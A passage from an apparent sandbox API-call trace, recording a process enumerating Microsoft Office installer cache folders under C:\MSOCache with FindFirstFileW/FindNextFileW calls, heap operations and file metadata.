ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0194.971] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0194.971] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0194.972] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.972] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.972] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0194.973] GetProcessHeap () returned 0x550000 [0194.973] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0194.973] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0194.973] GetProcessHeap () returned 0x550000 [0194.973] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0194.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0195.103] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.103] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0195.103] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0195.103] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0195.103] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0195.103] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0195.103] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0195.104] GetProcessHeap () returned 0x550000 [0195.104] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0195.104] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0195.104] GetProcessHeap () returned 0x550000 [0195.104] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0195.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0195.106] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.106] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0195.106] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0195.106] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0195.106] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0195.107] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0195.107] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0195.108] GetProcessHeap () returned 0x550000 [0195.108] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0195.108] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0195.108] GetProcessHeap () returned 0x550000 [0195.108] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0195.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0195.110] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.110] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0195.110] GetProcessHeap () returned 0x550000 [0195.110] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25d0080 [0195.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.112] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.112] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0195.113] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0195.113] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.113] GetProcessHeap () returned 0x550000 [0195.113] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25d0080 | out: hHeap=0x550000) returned 1 [0195.113] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0195.113] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0195.113] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0195.113] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0195.114] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0195.114] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0195.114] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0195.114] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0195.114] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0195.114] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0195.115] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0195.115] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0195.115] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0195.115] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0195.115] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0195.116] GetProcessHeap () returned 0x550000 [0195.116] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0195.116] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0195.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0195.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", 